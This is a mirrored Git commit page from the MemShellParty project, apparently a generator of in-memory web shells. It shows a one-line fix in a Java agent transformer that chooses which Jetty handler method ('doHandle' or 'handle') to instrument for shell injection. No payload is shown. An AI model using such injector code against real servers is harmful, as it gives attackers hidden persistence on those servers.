mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
test: fix failed cases
This commit is contained in:
+1
-1
@@ -59,7 +59,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASSES.contains(className)) {
|
||||
String targetMethodName = "";
|
||||
String targetMethodName = "doHandle";
|
||||
if (className.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user